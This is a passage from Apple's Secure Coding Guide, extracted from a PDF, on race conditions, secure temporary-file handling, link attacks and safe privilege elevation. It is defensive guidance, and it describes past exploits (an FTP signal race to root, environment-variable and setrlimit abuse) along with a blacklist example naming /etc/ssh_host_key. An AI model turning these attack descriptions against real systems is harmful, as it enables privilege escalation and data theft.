When a user logged onto an FTP server as an anonymous user, the server would temporarily downgrade its
privilegesfrom root to nobody so that the logged-in user had no privilegesto write files. When the user logged
out, however, the server reassumed root privileges. If the abort signal arrived at just the right time, it would
abort the logout procedure after the server had assumed root privileges but before it had logged out the user.
The user would then be logged in with root privileges, and could proceed to write files at will. An attacker
could exploit this vulnerability with a graphical FTP client simply by repeatedly clicking the “Cancel” button.
[CVE-1999-0035]
For a brief introduction to signal handlers, see the Little Unix Programmers Group site at http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals-programming.html. For a discourse on how signal handler race
conditions can be exploited,see the article by Michal Zalewski at http://www.bindview.com/Services/razor/Papers/2001/signals.cfm.
Securing File Operations
Insecure file operations are a major source of security vulnerabilities. In some cases, opening or writing to a
file in an insecure fashion can give attackers the opportunity to create a race condition (see “Time of Check
Versus Time of Use” (page 44)). Often, however, insecure file operations give an attacker the ability to read
confidential information, perform a denial of service attack, take control of an application, or even take control
of the entire system.
This section discusses what you should do to make your file operations more secure.
Check Result Codes
Always check the result codes of every routine that you call. Be prepared to handle the situation if the operation
fails. Most file-based security vulnerabilities could have been avoided if the developers of the programs had
checked result codes.
Some common mistakes are listed below.
When writing to files or changing file permissions
A failure when change permissions on a file or to open a file for writing can be caused by many things,
including:
●
Insufficient permissions on the file or enclosing directory.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
47● The immutable flag (set with the chflags utility or the chflags system call).
● A network volume becoming unavailable.
● An external drive getting unplugged.
● A drive failure.
Depending on the nature of your software, any one of these could potentially be exploited if you do not
properly check error codes.
See the manual pages for the chflags, chown, and chgrp commands and the chflags and chown
functions for more information.
When removing files
Although the rm command can often ignore permissions if you pass the -f flag, it can still fail.
For example, you can’t remove a directory that has anything inside it. If a directory is in a location where
other users have access to it, any attempt to remove the directory might fail because another process
might add new files while you are removing the old ones.
The safest way to fix this problem is to use a private directory that no one else has access to. If that’s not
possible, check to make sure the rm command succeeded and be prepared to handle failures.
Watch Out for Hard Links
A hard link is a second name for a file—the file appears to be in two different locations with two different
names.
If a file has two (or more) hard links and you check the file to make sure that the ownership, permissions, and
so forth are all correct, but fail to check the number of links to the file, an attacker can write to or read from
the file through their own link in their own directory. Therefore, among other checks before you use a file, you
should check the number of links.
Do not, however, simply fail if there’s a second link to a file, because there are some circumstances where a
link is okay or even expected. For example, every directory islinked into at least two placesin the hierarchy—the
directory name itself and the special . record from the directory that links back to itself. Also, if that directory
contains other directories, each of those subdirectories contains a .. record that points to the outer directory.
You need to anticipate such conditions and allow for them. Even if the link is unexpected, you need to handle
the situation gracefully. Otherwise, an attacker can cause denial of service just by creating a link to the file.
Instead, you should notify the user of the situation, giving them as much information as possible so they can
try to track down the source of the problem.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
48Watch Out for Symbolic Links
A symbolic link is a special type of file that contains a path name. Symbolic links are more common than hard
links.
Functions that follow symbolic links automatically open, read, or write to the file whose path name is in the
symbolic link file rather than the symbolic link file itself. Your application receives no notification that a symbolic
link was followed; to your application, it appears as if the file addressed is the one that was used.
An attacker can use a symbolic link, for example, to cause your application to write the contents intended for
a temporary file to a critical system file instead, thus corrupting the system. Alternatively, the attacker can
capture data you are writing or can substitute the attacker’s data for your own when you read the temporary
file.
In general, you should avoid functions,such as chown and stat, that follow symbolic links(see Table 4-1 (page
55) for alternatives). As with hard links, your program should evaluate whether a symbolic link is acceptable,
and if not, should handle the situation gracefully.
Case-Insensitive File Systems Can Thwart Your Security Model
In OS X, any partition (including the boot volume) can be either case-sensitive, case-insensitive but
case-preserving, or, for non-boot volumes, case-insensitive. For example, HFS+ can be either case-sensitive or
case-insensitive but case-preserving. FAT32 is case-insensitive but case-preserving. FAT12, FAT16, and ISO-9660
(without extensions) are case-insensitive.
An application that is unaware of the differences in behavior between these volume formats can cause serious
security holes if you are not careful. In particular:
●
If your program uses its own permission model to provide or deny access (for example, a web server that
allows access only to files within a particular directory), you must either enforce this with a chroot jail or
be vigilant about ensuring that you correctly identify paths even in a case-insensitive world.
Among other things, this meansthat you should ideally use a whitelisting scheme rather than a blacklisting
scheme (with the default behavior being “deny”). If this is not possible, for correctness, you must compare
each individual path part against your blacklist using case-sensitive or case-insensitive comparisons,
depending on what type of volume the file resides on.
For example, if your program has a blacklist that prevents users from uploading or downloading the file
/etc/ssh_host_key, if your software is installed on a case-insensitive volume, you must also reject
someone who makes a request for /etc/SSH_host_key, /ETC/SSH_HOST_KEY, or even
/ETC/ssh_host_key.
●
If your program periodically accesses a file on a case-sensitive volume using the wrong mix of uppercase
and lowercase letters, the open call will fail... until someone creates a second file with the name your
program is actually asking for.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
49If someone creates such a file, your application will dutifully load data from the wrong file. If the contents
of that file affect your application’s behavior in some important way, this represents a potential attack
vector.
This also presents a potential attack vector if that file is an optional part of your application bundle that
gets loaded by dyld when your application is launched.
Create Temporary Files Correctly
The temporary directories in OS X are shared among multiple users. This requires that they be writable by
multiple users. Any time you work on files in a location to which others have read/write access, there’s the
potential for the file to be compromised or corrupted.
The following list explains how to create temporary files using APIs at various layers of OS X.
POSIX Layer
In general, you should always use the mkstemp function to create temporary files at the POSIX layer. The
mkstemp function guarantees a unique filename and returns a file descriptor, thus allowing you skip the
step of checking the open function result for an error, which might require you to change the filename
and call open again.
If you must create a temporary file in a public directory manually, you can use the open function with
the O_CREAT and O_EXCL flags set to create the file and obtain a file descriptor. The O_EXCL flag causes
this function to return an error if the file already exists. Be sure to check for errors before proceeding.
After you’ve opened the file and obtained a file descriptor, you can safely use functions that take file
descriptors, such as the standard C functions write and read, for as long as you keep the file open. See
the manual pages for open(2), mkstemp(3), write(2), and read(2) for more on these functions,
and see Wheeler, Secure Programming for Linux and Unix HOWTO for advantages and shortcomings to
using these functions.
Carbon
To find the default location to store temporary files, you can call the FSFindFolder function and specify
a directory type of kTemporaryFolderType. This function checks to see whether the UID calling the
function owns the directory and, if not, returns the user home directory in ~/Library. Therefore, this
function returns a relatively safe place to store temporary files. Thislocation is not assecure as a directory
that you created and that is accessible only by your program. The FSFindFolder function is documented
in Folder Manager Reference .
If you’ve obtained the file reference of a directory (from the FSFindFolder function, for example), you
can use the FSRefMakePath function to obtain the directory’s path name. However, be sure to check
the function result, because if the FSFindFolder function fails, it returns a null string. If you don’t
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
50check the function result, you might end up trying to create a temporary file with a pathname formed
by appending a filename to a null string.
Cocoa
There are no Cocoa methods that create a file and return a file descriptor. However, you can call the
standard C open function from an Objective-C program to obtain a file descriptor (see “Working With
Publicly Writable Files Using POSIX Calls” (page 54)). Or you can call the mkstemp function to create a
temporary file and obtain a file descriptor. Then you can use the NSFileHandle method
initWithFileDescriptor: to initialize a file handle, and other NSFileHandle methods to safely
write to or read from the file. Documentation for the NSFileHandle class is in Foundation Framework
Reference .
To obtain the path to the default location to store temporary files (stored in the $TMPDIR environment
variable), you can use the NSTemporaryDirectory function, which calls the FSFindFolder and
FSRefMakePath functions for you (see “Working With Publicly Writable Files Using Carbon” (page 55)).
Note that NSTemporaryDirectory can return /tmp under certain circumstances such as if you link on
a pre-OS X v10.3 development target. Therefore, if you’re using NSTemporaryDirectory, you either
have to be sure that using /tmp is suitable for your operation or, if not, you should consider that an error
case and create a more secure temporary directory if that happens.
The changeFileAttributes:atPath: method in the NSFileManager class is similar to chmod or
chown, in that it takes a file path rather than a file descriptor. You shouldn’t use this method if you’re
working in a public directory or a user’s home directory. Instead, call the fchown or fchmod function
(see Table 4-1 (page 55)). You can call the NSFileHandle class’s fileDescriptor method to get the
file descriptor of a file in use by NSFileHandle.
In addition, when working with temporary files, you should avoid the writeToFile:atomically
methods of NSString and NSData. These are designed to minimize the risk of data loss when writing
to a file, but do so in a way that is not recommended for use in directories that are writable by others.
See “Working With Publicly Writable Files Using Cocoa” (page 56) for details.
Files in Publicly Writable Directories Are Dangerous
Files in publicly writable directories must be treated as inherently untrusted. An attacker can delete the file
and replace it with another file, replace it with a symbolic link to another file, create the file ahead of time, and
so on. There are ways to mitigate each of these attacks to some degree, but the best way to prevent them is
to not read or write files in a publicly writable directory in the first pace. If possible, you should create a
subdirectory with tightly controlled permissions, then write your files inside that subdirectory.
If you must work in a directory to which your process does not have exclusive access, however, you must check
to make sure a file does not exist before you create it. You must also verify that the file you intend to read from
or write to is the same file that you created.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
51To this end, you should always use routines that operate on file descriptors rather than pathnames wherever
possible, so that you can be certain you’re always dealing with the same file. To do this, pass the O_CREAT and
O_EXCL flags to the open system call. This creates a file, but fails if the file already exists.
Note: If you cannot use file descriptors directly for some reason, you should explicitly create files
as a separate step from opening them. Although this does not prevent someone from swapping in
a new file between those operations, at least it narrows the attack window by making it possible to
detect if the file already exists.
Before you create the file, however, you should first set your process’s file creation mask (umask). The file
creation mask is a bitmask that alters the default permissions of all new files and directories created by your
process. This bitmask is typically specified in octal notation, which means that it must begin with a zero (not
0x).
For example, if you set the file creation mask to 022, any new files created by your process will have rw-r--r--
permissions because the write permission bits are masked out. Similarly, any new directories will have
rw-r-xr-x permissions.
Note: New files never have the execute bit set. Directories, however, do. Therefore, you should
generally mask out execute permission when masking out read permission unless you have a specific
reason to allow users to traverse a directory without seeing its contents.
To limit access to any new files or directories so that only the user can access them, set the file creation mask
to 077.
You can also mask out permissions in such a way that they apply to the user, though this is rare. For example,
to create a file that no one can write or execute, and that only the user can read, you could set the file creation
mask to 0377. This is not particularly useful, but it is possible.
There are several ways to set the file creation mask:
In C code:
In C code, you can set the file creation mask globally using the umask system call.
You can also passthe file creation mask to the open or mkdir system call when creating a file or directory.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
52Note: For maximum portability when writing C code, you should always create your masks using the file mode constants
defined in .
For example:
umask(S_IRWXG|S_IRWXO);
In shell scripts:
In shell scripts, you set the file creation mask by using the umask shell builtin. This is documented in the
manual pages for sh or csh.
For example:
umask 0077;
As an added security bonus, when a process calls another process, the new processinheritsthe parent process’s
file creation mask. Thus, if your process starts another process that creates a file without resetting the file
creation mask, that file similarly will not be accessible to other users on the system. This is particularly useful
when writing shell scripts.
For more information on the file creation mask,see the manual page for umask and Viega and McGraw, Building
Secure Software , Addison Wesley, 2002. For a particularly lucid explanation of the use of a file creation mask,
see http://web.archive.org/web/20090517063338/http://www.sun.com/bigadmin/content/submitted/umask_permissions.html?.
Before you read a file (but after opening it), make sure it has the owner and permissions you expect (using
fstat). Be prepared to fail gracefully (rather than hanging) if it does not.
Here are some guidelines to help you avoid time-of-check–time-of-use vulnerabilities when working with files
in publicly writable directories. For more detailed discussions, especially for C code, see Viega and McGraw,
Building Secure Software , Addison Wesley, 2002, and Wheeler, Secure Programming for Linux and Unix HOWTO,
available at http://www.dwheeler.com/secure-programs/.
●
If at all possible, avoid creating temporary files in a shared directory, such as /tmp, or in directories owned
by the user. If anyone else has access to your temporary file, they can modify its content, change its
ownership or mode, or replace it with a hard or symbolic link. It’s much safer to either not use a temporary
file at all (use some other form of interprocess communication) or keep temporary files in a directory you
create and to which only your process (acting as your user) has access.
●
If your file must be in a shared directory, give it a unique (and randomly generated) filename (you can use
the C function mkstemp to do this), and never close and reopen the file. If you close such a file, an attacker
can potentially find it and replace it before you reopen it.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
53Here are some public directories that you can use:
● ~/Library/Caches/TemporaryItems
When you use this subdirectory, you are writing to the user’s own home directory, not some other
user’s directory or a system directory. If the user’s home directory has the default permissions, it can
be written to only by that user and root. Therefore, this directory is not as susceptible to attack from
outside, nonprivileged users as some other directories might be.
● /var/run
This directory is used for process ID (pid) files and other system files needed just once per startup
session. This directory is cleared out each time the system starts up.
● /var/db
This directory is used for databases accessible to system processes.
● /tmp
This directory is used for general shared temporary storage. It is cleared out each time the system
starts up.
● /var/tmp
This directory is used for general shared temporary storage. Although you should not count on data
stored in this directory being permanent, unlike /tmp, the /var/tmp directory is currently not cleared
out on reboot.
For maximum security, you should always create temporary subdirectories within these directories, set
appropriate permissions on those subdirectories, and then write files into those subdirectories.
The following sections give some additional hints on how to follow these principles when you are using
POSIX-layer C code, Carbon, and Cocoa calls.
Working with Publicly Writable Files Using POSIX Calls
If you need to open a preexisting file to modify it or read from it, you should check the file’s ownership, type,
and permissions, and the number of links to the file before using it.
To safely opening a file for reading, for example, you can use the following procedure:
1. Call the open function and save the file descriptor. Pass the O_NOFOLLOW to ensure that it does not follow
symbolic links.
2. Using the file descriptor, call the fstat function to obtain the stat structure for the file you just opened.
3. Check the user ID (UID) and group ID (GID) of the file to make sure they are correct.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
544. Check the file's mode flags to make sure that it is a normal file, not a FIFO, device file, or other special file.
Specifically, if the stat structure is named st, then the value of (st.st_mode & S_IFMT) should be
equal to S_IFREG.
5. Check the read, write, and execute permissions for the file to make sure they are what you expect.
6. Check that there is only one hard link to the file.
7. Pass around the open file descriptor for later use rather than passing the path.
Note that you can avoid all the status checking by using a secure directory instead of a public one to hold your
program’s files.
Table 4-1 shows some functions to avoid—and the safer equivalent functions to use—in order to avoid race
conditions when you are creating files in a public directory.
Table 4-1 C file functions to avoid and to use
Functions to avoid Functions to use instead
open returns a file descriptor; creates a file and returns
an error if the file already exists when the O_CREAT
and O_EXCL options are used
fopen returns a file pointer; automatically
creates the file if it does not exist but returns
no error if the file does exist
chmod takes a file path fchmod takes a file descriptor
fchown takes a file descriptor and does not follow
symbolic links
chown takes a file path and follows symbolic
links
lstat takes a file path but does not follow symbolic
links;
fstat takes a file descriptor and returns information
about an open file
stat takes a file path and follows symbolic
links
mkstemp creates a temporary file with a unique name,
opens it for reading and writing, and returns a file
descriptor
mktemp creates a temporary file with a unique
name and returns a file path; you need to
open the file in another call
Working with Publicly Writable Files Using Carbon
If you are using the Carbon File Manager to create and open files, you should be aware of how the File Manager
accesses files.
● The file specifier FSSpec structure uses a path to locate files, not a file descriptor. Functions that use an
FSSpec file specifier are deprecated and should not be used in any case.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
55● The file reference FSRef structure uses a path to locate files and should be used only if your files are in a
safe directory, not in a publicly accessible directory. These functions include FSGetCatalogInfo,
FSSetCatalogInfo, FSCreateFork, and others.
● The File Manager creates and opensfilesin separate operations. The create operation failsif the file already
exists. However, none of the file-creation functions return a file descriptor.
If you’ve obtained the file reference of a directory (from the FSFindFolder function, for example), you can
use the FSRefMakePath function to obtain the directory’s path name. However, be sure to check the function
result, because if the FSFindFolder function fails, it returns a null string. If you don’t check the function
result, you might end up trying to create a temporary file with a pathname formed by appending a filename
to a null string.
Working with Publicly Writable Files Using Cocoa
The NSString and NSData classes have writeToFile:atomically methods designed to minimize the risk
of data loss when writing to a file. These methods write first to a temporary file, and then, when they’re sure
the write is successful, they replace the written-to file with the temporary file. This is not always an appropriate
thing to do when working in a public directory or a user’s home directory, because there are a number of
path-based file operationsinvolved. Instead, initialize an NSFileHandle object with an existing file descriptor
and use NSFileHandle methods to write to the file, as mentioned above. The following code, for example,
usesthe mkstemp function to create a temporary file and obtain a file descriptor, which it then usesto initialize
NSFileHandle:
fd = mkstemp(tmpfile); // check return for -1, which indicates an error
NSFileHandle *myhandle = [[NSFileHandle alloc] initWithFileDescriptor:fd];
Working with Publicly Writable Files in Shell Scripts
Scripts must follow the same general rules as other programs to avoid race conditions. There are a few tips
you should know to help make your scripts more secure.
First, when writing a script, set the temporary directory ($TMPDIR) environment variable to a safe directory.
Even if your script doesn’t directly create any temporary files, one or more of the routines you call might create
one, which can be a security vulnerability if it’s created in an insecure directory. See the manual pages for
setenv and setenv for information on changing the temporary directory environment variable. For the same
reason, set your process’ file code creation mask (umask) to restrict access to any files that might be created
by routines run by your script (see “Securing File Operations” (page 47) for more information on the umask).
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
56It’s also a good idea to use the dtruss command on a shell script so you can watch every file access to make
sure that no temporary files are created in an insecure location. See the manual pages for dtrace and dtruss
for more information.
Do not redirect output using the operators > or >> to a publicly writable location. These operators do not
check to see whether the file already exists, and they follow symbolic links.
Instead, pass the -d flag to the mktemp command to create a subdirectory to which only you have access. It’s
important to check the result to make sure the command succeeded. if you do all your file operations in this
directory, you can be fairly confident that no one with less than root access can interfere with your script. For
more information, see the manual page for mktemp.
Do not use the test command (or its left bracket ([) equivalent) to check for the existence of a file or other
statusinformation for the file before writing to it. Doing so alwaysresultsin a race condition; that is, it is possible
for an attacker to create, write to, alter, or replace the file before you start writing. See the manual page for
test for more information.
For a more in-depth look at security issues specific to shell scripts, read “Shell Script Security” in Shell Scripting
Primer.
Other Tips
Here are a few additional things to be aware of when working with files:
● Before you attempt a file operation, make sure it is safe to perform the operation on that file. For example,
before attempting to read a file (but after opening it), you should make sure that it is not a FIFO or a device
special file.
●
Just because you can write to a file, that doesn’t mean you should write to it. For example, the fact that
a directory exists doesn’t mean you created it, and the fact that you can append to a file doesn’t mean
you own the file or no one else can write to it.
● OS X can perform file operations on files in several different file systems. Some operations can be done
only on certain systems. For example, certain file systems honor setuid files when executed from them
and some don’t. Be sure you know what file system you’re working with and what operations can be
carried out on that system.
● Local pathnames can point to remote files. For example, the path /volumes/foo might actually be
someone’s FTP server rather than a locally-mounted volume. Just because you’re accessing something by
a pathname, that does not guarantee that it’s local or that it should be accessed.
● A user can mount a file system anywhere they have write access and own the directory. In other words,
almost anywhere a user can create a directory, they can mount a file system on top of it. Because this can
be done remotely, an attacker running as root on a remote system could mount a file system into your
home directory. Files in that file system would appear to be files in your home directory owned by root.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
57For example, /tmp/foo might be a local directory, or it might be the root mount point of a remotely
mounted file system. Similarly, /tmp/foo/bar might be a local file, or it might have been created on
another machine and be owned by root over there. Therefore, you can’t trust files based only on ownership,
and you can’t assume that setting the UID to 0 was done by someone you trust. To tell whether the file is
mounted locally, use the fstat call to check the device ID. If the device ID is different from that of files
you know to be local, then you’ve crossed a device boundary.
● Remember that users can read the contents of executable binariesjust as easily asthe contents of ordinary
files. For example, the user can run strings(1) to quickly see a list of (ostensibly) human-readable strings
in your executable.
● When you fork a new process, the child process inherits all the file descriptors from the parent unless you
set the close-on-exec flag. If you fork and execute a child process and drop the child process’ privileges
so its real and effective IDs are those of some other user (to avoid running that process with elevated
privileges), then that user can use a debugger to attach the child process. They can then run arbitrary code
from that running process. Because the child process inherited all the file descriptors from the parent, the
user now has access to every file opened by the parent process. See “Inheriting File Descriptors” (page
61) for more information on this type of vulnerability.
Race Conditions and Secure File Operations
Securing File Operations
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
58By default, applications run as the currently logged in user. Different users have different rights when it comes
to accessing files, changing systemwide settings, and so on, depending on whether they are admin users or
ordinary users. Some tasks require additional privileges above and beyond what even an admin user can do
by default. An application or other process with such additional rights is said to be running with elevated
privileges. Running code with root or administrative privileges can intensify the dangers posed by security
vulnerabilities. This chapter explains the risks, provides alternatives to privilege elevation, and describes how
to elevating privileges safely when you can’t avoid it.
Note: Elevating privileges is not allowed in applications submitted to the Mac App Store (and is not
possible in iOS).
Circumstances Requiring Elevated Privileges
Regardless of whether a user is logged in as an administrator, a program might have to obtain administrative
or root privileges in order to accomplish a task. Examples of tasks that require elevated privileges include:
● manipulating file permissions, ownership
● creating, reading, updating, or deleting system and user files
● opening privileged ports (those with port numbers less than 1024) for TCP and UDP connections
● opening raw sockets
● managing processes
●
reading the contents of virtual memory
● changing system settings
●
loading kernel extensions
If you have to perform a task that requires elevated privileges, you must be aware of the fact that running with
elevated privileges means that if there are any security vulnerabilities in your program, an attacker can obtain
elevated privileges as well, and would then be able to perform any of the operations listed above.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
59
Elevating Privileges SafelyThe Hostile Environment and the Principle of Least Privilege
Any program can come under attack, and probably will. By default, every process runs with the privileges of
the user or process that started it. Therefore, if a user has logged on with restricted privileges, your program
should run with those restricted privileges. This effectively limits the amount of damage an attacker can do,
even if he successfully hijacks your program into running malicious code. Do not assume that the user islogged
in with administrator privileges; you should be prepared to run a helper application with elevated privileges
if you need them to accomplish a task. However, keep in mind that, if you elevate your process’s privileges to
run asroot, an attacker can gain those elevated privileges and potentially take over control of the whole system.
Note: Although in certain circumstances it’s possible to mount a remote attack over a network, for
the most part the vulnerabilities discussed here involve malicious code running locally on the target
computer.
If an attacker uses a buffer overflow or othersecurity vulnerability (see “Types of Security Vulnerabilities” (page
11)) to execute code on someone else’s computer, they can generally run their code with whatever privileges
the logged-in user has. If an attacker can gain administrator privileges, they can elevate to root privileges and
gain accessto any data on the user’s computer. Therefore, it is good security practice to log in as an administrator
only when performing the rare tasks that require admin privileges. Because the default setting for OS X is to
make the computer’s owner an administrator, you should encourage your usersto create a separate non-admin
login and to use that for their everyday work. In addition, if possible, you should not require admin privileges
to install your software.
The idea of limiting risk by limiting access goes back to the “need to know” policy followed by government
security agencies (no matter what your security clearance, you are not given access to information unless you
have a specific need to know that information). In software security, this policy is often termed “the principle
of least privilege,” first formally stated in 1975: “Every program and every user of the system should operate
using the leastset of privileges necessary to complete the job.”(Saltzer,J.H. AND Schroeder, M.D.,“The Protection
of Information in Computer Systems,” Proceedings of the IEEE , vol. 63, no. 9, Sept 1975.)
In practical terms, the principle of least privilege means you should avoid running asroot, or—if you absolutely
must run asroot to perform some task—you should run a separate helper application to perform the privileged
task (see “Factoring Applications” (page 69)). By running with the least privilege possible, you:
● Limit damage from accidents and errors, including maliciously introduced accidents and errors
● Reduce interactions of privileged components, and therefore reduce unintentional, unwanted, and improper
uses of privilege (side effects)
Elevating Privileges Safely
The Hostile Environment and the Principle of Least Privilege
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
60Keep in mind that, even if your code is free of errors, vulnerabilities in any libraries your code links in can be
used to attack your program. For example, no program with a graphical user interface should run with privileges
because the large number of libraries used in any GUI application makes it virtually impossible to guarantee
that the application has no security vulnerabilities.
There are a number of ways an attacker can take advantage of your program if you run as root. Some possible
approaches are described in the following sections.
Launching a New Process
Because any new process runs with the privileges of the process that launched it, if an attacker can trick your
process into launching his code, the malicious code runs with the privileges of your process. Therefore, if your
process is running with root privileges and is vulnerable to attack, the attacker can gain control of the system.
There are many ways an attacker can trick your code into launching malicious code, including buffer overflows,
race conditions, and social engineering attacks (see “Types of Security Vulnerabilities” (page 11)).
Executing Command-Line Arguments
Because all command-line arguments, including the program name (argv(0)), are under the control of the
user, you should not use the command line to execute any program without validating every parameter,
including the name. If you use the command line to re-execute your own code or execute a helper program,
for example, a malicious user might have substituted his own code with that program name, which you are
now executing with your privileges.
Inheriting File Descriptors
When you create a new process, the child process inherits its own copy of the parent process’s file descriptors
(see the manual page for fork(2)). Therefore, if you have a handle on a file, network socket, shared memory,
or other resource that’s pointed to by a file descriptor and you fork off a child process, you must be careful to
either close the file descriptor or you must make sure that the child process cannot be tampered with. Otherwise,
a malicious user can use the subprocess to tamper with the resources referenced by the file descriptors.
For example, if you open a password file and don’t close it before forking a process, the new subprocess has
access to the password file.
To set a file descriptor so that it closes automatically when you execute a new process (such as by using the
execve system call), use the fcntl(2) command to set the close-on-exec flag. You mustset thisflag individually
for each file descriptor; there’s no way to set it for all.
Elevating Privileges Safely
The Hostile Environment and the Principle of Least Privilege
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
61Abusing Environment Variables
Most libraries and utilities use environment variables. Sometimes environment variables can be attacked with
buffer overflows or by inserting inappropriate values. If your program links in any libraries or calls any utilities,
your program is vulnerable to attacks through any such problematic environment variables. If your program
is running as root, the attacker might be able to bring down or gain control of the whole system in this way.
Examples of environment variables in utilities and libraries that have been attacked in the past include:
1. The dynamic loader: LD_LIBRARY_PATH, DYLD_LIBRARY_PATH are often misused, causing unwanted
side effects.
2. libc: MallocLogFile
3. Core Foundation: CF_CHARSET_PATH
4. perl: PERLLIB, PERL5LIB, PERL5OPT
[
2
CVE-2005-2748 (corrected in Apple Security Update 2005-008)
3
CVE-2005-0716 (corrected in Apple
Security Update 2005-003)
4
CVE-2005-4158]
Environment variables are also inherited by child processes. If you fork off a child process, your parent process
should validate the values of all environment variables before it uses them in case they were altered by the
child process (whether inadvertently or through an attack by a malicious user).
Modifying Process Limits
You can use the setrlimit call to limit the consumption of system resources by a process. For example, you
can set the largest size of file the process can create, the maximum amount of CPU time the process can
consume, and the maximum amount of physical memory a process may use. These process limits are inherited
by child processes.
In order to prevent an attacker from taking advantage of open file descriptors, programsthat run with elevated
privileges often close all open file descriptors when they start up. However, if an attacker can use setrlimit
to alter the file descriptor limit, he can fool the program into leaving some of the files open. Those files are
then vulnerable.
Similarly, a vulnerability was reported for a version of Linux that made it possible for an attacker, by decreasing
the maximum file size, to limit the size of the /etc/passwd and /etc/shadow files. Then, the next time a
utility accessed one of these files, it truncated the file, resulting in a loss of data and denial of service.
[CVE-2002-0762]
Elevating Privileges Safely
The Hostile Environment and the Principle of Least Privilege
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
62File Operation Interference
If you’re running with elevated privileges in order to write or read files in a world-writable directory or a user’s
directory, you must be aware of time-of-check–time-of-use problems; see “Time of Check Versus Time of
Use” (page 44).
Avoiding Elevated Privileges
In many cases, you can accomplish your task without needing elevated privileges. For example, suppose you
need to configure the environment (add a configuration file to the user’s home directory or modify a
configuration file in the user’s home directory) for your application. You can do this from an installer running
asroot (the installer command requires administrative privileges;see the manual page for installer(8)).
However, if you have the application configure itself, or check whether configuration is needed when it starts
up, then you don’t need to run as root at all.
An example of using an alternate design in order to avoid running with elevated privileges is given by the BSD
ps command, which displaysinformation about processesthat have controlling terminals. Originally, BSD used
the setgid bit to run the ps command with a group ID of kmem, which gave it privilegesto read kernel memory.
More recent implementations of the ps command use the sysctl utility to read the information it needs,
removing the requirement that ps run with any special privileges.
Running with Elevated Privileges
If you do need to run code with elevated privileges, there are several approaches you can take:
● You can run a daemon with elevated privileges that you call on when you need to perform a privileged
task. The preferred method of launching a daemon is to use the launchd daemon (see “launchd” (page
66)). It is easier to use launchd to launch a daemon and easier to communicate with a daemon than it
is to fork your own privileged process.
● You can use the authopen command to read, create, or update a file (see “authopen” (page 65)).
● You can set the setuid and setgid bitsfor the executable file of your code, and set the owner and group
of the file to the privilege level you need; for example, you can set the owner to root and the group to
wheel. Then when the code is executed, it runs with the elevated privileges of its owner and group rather
than with the privileges of the process that executed it. (See the “Permissions” section in the “Security
Concepts” chapter in Security Overview.) This technique is often used to execute the privileged code in a
factored application (see “Factoring Applications” (page 69)). As with other privileged code, you must be
very sure that there are no vulnerabilities in your code and that you don’t link in any libraries or call any
utilities that have vulnerabilities.
Elevating Privileges Safely
Avoiding Elevated Privileges
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
63If you fork off a privileged process, you should terminate it as soon as it has accomplished its task (see
“Factoring Applications” (page 69)). Although architecturally thisis often the bestsolution, it is very difficult
to do correctly, especially the first time you try. Unless you have a lot of experience with forking off
privileged processes, you might want to try one of the other solutions first.
● You can use a BSD system call to change privilege level (see “Calls to Change Privilege Level” (page 64)).
These commands have confusing semantics. You must be careful to use them correctly, and it’s very
important to check the return values of these calls to make sure they succeeded.
Note that in general, unless your process was initially running as root, it cannot elevate its privilege with
these calls. However, a process running as root can discard (temporarily or permanently) those privileges.
Any process can change from acting on behalf of one group to another (within the set of groups to which
it belongs).
Calls to Change Privilege Level
There are several commands you can use to change the privilege level of a program. The semantics of these
commands are tricky, and vary depending on the operating system on which they’re used.
Important: If you are running with both a group ID (GID) and user ID (UID) that are different from those
of the user, you have to drop the GID before dropping the UID. Once you’ve changed the UID, you may no
longer have sufficient privileges to change the GID.
Important: As with every security-related operation, you must check the return values of your calls to
setuid, setgid, and related routines to make sure they succeeded. Otherwise you might still be running
with elevated privileges when you think you have dropped privileges.
For more information on permissions,see the “Permissions”section in the “Security Concepts” chapter in Security
Overview. For information on setuid and related commands, see Setuid Demystified by Chen, Wagner, and
Dean (Proceedings of the 11th USENIX Security Symposium, 2002), available at http://www.usenix.org/publications/library/proceedings/sec02/full_papers/chen/chen.pdf and the manual pages for setuid(2),
setreuid(2), setregid(2), and setgroups(2). The setuid(2)manual page includesinformation about
seteuid, setgid, and setegid as well.
Here are some notes on the most commonly used system calls for changing privilege level:
Elevating Privileges Safely
Calls to Change Privilege Level
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
64● The setuid function sets the real and effective user IDs and the saved user ID of the current process to
a specified value. The setuid function is the most confusing of the UID-setting system calls. Not only
does the permission required to use this call differ among different UNIX-based systems, but the action
of the call differs among different operating systems and even between privileged and unprivileged
processes. If you are trying to set the effective UID, you should use the seteuid function instead.
● The setreuid function modifies the real UID and effective UID, and in some cases, the saved UID. The
permission required to use this call differs among different UNIX-based systems, and the rule by which
the saved UID is modified is complicated. For this function as well, if your intent is to set the effective UID,
you should use the seteuid function instead.
● The seteuid function sets the effective UID, leaving the real UID and saved UID unchanged. In OS X, the
effective user ID may be set to the value of the real user ID or of the saved set-user-ID. (In some UNIX-based
systems, thisfunction allows you to set the EUID to any of the real UID,saved UID, or EUID.) Of the functions
available on OS X that set the effective UID, the seteuid function is the least confusing and the least
likely to be misused.
● The setgid function acts similarly to the setuid function, except that it sets group IDs rather than user
